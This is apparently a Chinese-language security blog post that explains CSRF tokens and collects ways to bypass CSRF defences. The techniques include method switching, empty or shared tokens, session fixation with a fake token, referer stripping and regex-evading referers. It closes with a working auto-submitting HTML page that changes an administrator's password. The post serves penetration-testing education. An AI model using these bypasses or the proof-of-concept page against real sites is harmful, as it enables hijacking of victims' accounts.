绕过CSRF防御总结

一、 先了解下CSRF_TOKEN

1. 什么是CSRF_TOKEN

  • 就是防止跨站请求伪造(CSRF)的

2. 为什么CSRF-Token可以写在COOKIE里

  • 将csrf令牌写入Cookie,是因为:
    服务器进行csrf防御校验的时候,是拿用户http请求体中的token参数值和cookie中的csrftoken值进行比对。
    如果值一样了,操作才被允许执行。

  • 因为同源策略的限制,当正常用户通过账号密码等方式登陆网站A后,在不注销账号或当前COOKIE失效之前,再次访问网站A时(协议、IP、端口号相同则属于同源)浏览器会自动在HTTP请求包中带上该网站用户登陆后的COOKIE信息。这也就是为什么同源策略无法防御csrf的原因。

  • 也就是说我们对CSRF的理解应为:攻击者借用用户COOKIE执行非用户本意的操作。

  • 在此攻击过程中用户COOKIE对于攻击者来说是不可见的是未知的、不可见的,攻击者能做到仅仅是借用COOKIE,而COOKIE里面具体写了什么,攻击者是不知道的。又因为COOKIE里的信息对于攻击者来说是不可预知的,无法伪造的,所以将CSRF-TOKEN写在COOKIE中符合就CSRF防御思想中的不可预知原则。

3. 常见csrf_token使用方式有两种:

3.1 Synchronizer token pattern(STP)

  • 对于每个request,在服务器端生成一个新的csrf_token,并将其返回在页面的表单中。在服务器端每次接收到请求时,都会验证表单中是否包含正确的csrf_token。由于第三方网站无法得知正确的csrf_token,所以无法进行csrf攻击。
1
2
3
4
5
6
7
get_token = get_random_token()
return {
<form>
<input name=field1></input>
<input type="hidden" name="csrfmiddlewaretoken" value=#{get_token()} />
</form>
}
  • 这个方法的好处是客户端不需要支持javascript,因此通用于所有的网站。坏处是由于服务器端对于每个请求都会更换csrf_token,因此他需要保证用户提交的表单是用户最近一次请求的表单。如果用户通过多个tab同时浏览该网站,那么往往会导致用户提交的表单不是最新的那一个。

3.2 Cookie-to-header token

  • 第二个方法是为每个session生成一个csrf_token,随后将csrf_token保存到cookie中,之后通过javascript在每次请求时将csrf_token设置到http header中的X-Csrf-Token属性中。再在服务器端比较Cookie的csrf_token与header中的token是否一致。
1
2
3
4
5
//当用户登录时设置Cookie
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/

//当用户发送请求时设置Http Header中的X-Csrf-Token
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql

二、绕过CSRF防御总结

  • 注:原文链接:https://medium.com/swlh/bypassing-csrf-protection-c9b217175ee(需要科学上网)

  • CSRF漏洞很容易就可以被发现并利用。一眼看去很多站点好像在这方面都做得不错:当你检查针对敏感操作的请求时,他们往往会实施CSRF保护。有时候可能是一个在请求主体中的CSRF token,也有可能是一个referer字段检测,或者有时是一个特殊的HTTP头字段或者cookie字段。

  • 但是CSRF的防御不代表它就不可以被绕过。今天我们讨论一些我如何绕过CSRF防御措施的技术。

2.1 所有的CSRF

  • 不管哪种CSRF防御措施部署,你都可以先尝试如下两件事:点击劫持和更改请求方法。

2.1.1 点击劫持

  • 在同一个功能端点利用点击劫持会绕过所有CSRF防御。因为从技术上讲,请求确实来自合法站点,如果易受攻击的端点所在页面容易遭受点击劫持攻击,那么所有的CSRF保护将变得没有效果,攻击者可以任意执行CSRF攻击。

2.1.2 更改请求方法

  • 另外值得一试的方法就是更改请求的方法。如果要伪造的敏感请求是通过POST方法发送的,那么尝试将其转换为GET请求。如果操作时通过GET方法发送的,那么尝试转换为POST方法。应用程序可能仍然执行操作,且通常没有任何保护机制。
  • 例如,如下请求:
1
2
3
4
5
6
POST /change_password
POST body:
new_password=qwerty
可以被改写成

GET /change_password?new_password=qwerty

三 、CSRF token的防御措施

  • 因为一个站点使用了CSRF token不代表这个token是有效验证对应请求操作的,可以尝试如下方法绕过CSRF的token保护。

3.1 删除token参数或发送空token

  • 不发送token也可以正常请求数据是因为这种逻辑错误在应用程序中非常常见:应用程序有时会在token存在的时候或者token参数不为空的时候检查token的有效性。这种情况下,如果一个请求不包含token或者token值为空,那么也是有可能绕过CSRF的防御的。

  • 例如,合法请求如下

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /change_password
POST body:
new_password=qwerty &csrf_tok=871caef0757a4ac9691aceb9aad8b65b
那么实施这种请求:

POST /change_password
POST body:
new_password=qwerty
或这种:

POST /change_password
POST body:
new_password=qwerty&csrf_tok=

3.2 令牌共享

  • 应用程序可能只是检查token是否合法,但是不检查token是否确实归属于当前用户。如果是这种情况的话,你可以在payload中硬编码一个合法有效的token即可。

  • 如果一个受害者的token是871caef0757a4ac9691aceb9aad8b65b,你自己的token是YOUR_TOKEN,那么你可以很容易获取到自己的token但很难获取到受害者的token。尝试在payload中提供自己的token来绕过CSRF防御。

  • 换句话说,原本应该发送如下请求:

1
2
3
4
5
6
7
8
POST /change_password
POST body:
new_password=qwerty &csrf_tok=871caef0757a4ac9691aceb9aad8b65b
但是改成发送这个请求:

POST /change_password
POST body:
new_password=qwerty &csrf_tok=YOUR_TOKEN

3.3 Session固定

  • 有时候站点使用一个双提交cookie作为一个CSRF的防御措施。这个表明这个请求需要包含一个cookie,其值为随机token值,且同时在请求参数中也有一个字段值为该随机token值。如果值相同,那么请求是合法的。这种防御形式是非常常见的。

  • 如果一个双提交cookie用在了防御措施中,那么这个应用有可能没有将有效的token保存在服务器端。所以它没有办法指定token是否合法,并且也有可能很少检查cookie中的token值和参数中token值是不是一样的。这代表你可以发送一个假token,然后仍然可以有效实施CSRF攻击。

  • 这种攻击包含两个步骤:第一步,你使用一个session固定技术去确认受害者的浏览器使用的是你提供的包含假token的session,然后第二步在参数中使用同一个token来执行这个CSRF攻击。

  • session固定。这是一个可以让你控制受害者的cookie存储的攻击;

1
2
3
4
5
6
执行如下请求来实施CSRF攻击

POST /change_password
Cookie: CSRF_TOK=FAKE_TOKEN;
POST body:
new_password=qwerty &csrf_tok=FAKE_TOKEN

3.4 窃取token

  • 配合XSS,前提是网站不存在XSS漏洞或者CSRF-Token具备httponly属性
  • 重定向、web缓存欺骗、clickjacking等都可能导致token泄露

3.5 Jsonp劫持获取csrf_token

3.6 解码CSRF令牌

  • 尝试进行MD5或Base64编码

3.6 修改请求方法

  • post改为get

四、 Referer字段的CSRF防御

  • 如果attack.com是一个可控的域名,bank.com是一个要攻击的域名。这个站点没有使用CSRF token但是检查了referer字段。你应该怎么做?

4.1 Referer值为空或移除referer字段

  • 首先,我们对空Referer的定义为,Referer 头部的内容为空,或者,一个HTTP请求中根本不包含Referer头部
  • 和发送一个空token值相同,有时候你只需简单地移除referer字段就可以绕过CSRF防御。你可以添加如下meta标签到存在漏洞的页面。
  • 扩展测试面:例如jsonp劫持
1
2
3
<meta name="referrer" content="never">

<meta name ="referrer" content ="no-referrer">
  • 应用程序可能只是在发送后才会验证,这种情况下你可以绕过其CSRF防御。

4.2 自建服务器路径带referer字段名

4.3 利用URL跳转

4.3 绕过正则表达式

  • 如果referer检查是基于白名单的,你可以尝试绕过验证URL的正则表达式。例如,你可以尝试在referer的URL中将受害者域名置于二级域名区域或者URL目录区域。

  • 如果一个站点在referer字段检查“bank.com”字段,那么“bank.com.attacker.com”或”attakcer.com/bank.com”可能可以绕过这种检测。

五、CSRF_POC

  • 恶意攻击者可以精心伪造一个html页面诱骗已登录的管理用户点击,从而更改管理员账户密码。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>
<body>
<script type="text/javascript">
function post(url,fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;

fields += "<input type='hidden' name='user_id' value='1' />";
fields += "<input type='hidden' name='newpassword' value='123456' />";
fields += "<input type='hidden' name='password' value='123456' />";

var url = "漏洞URL+&submit=提交";
post(url,fields);
}
window.onload = function() { csrf_hack();}
</script>
</body>
</html>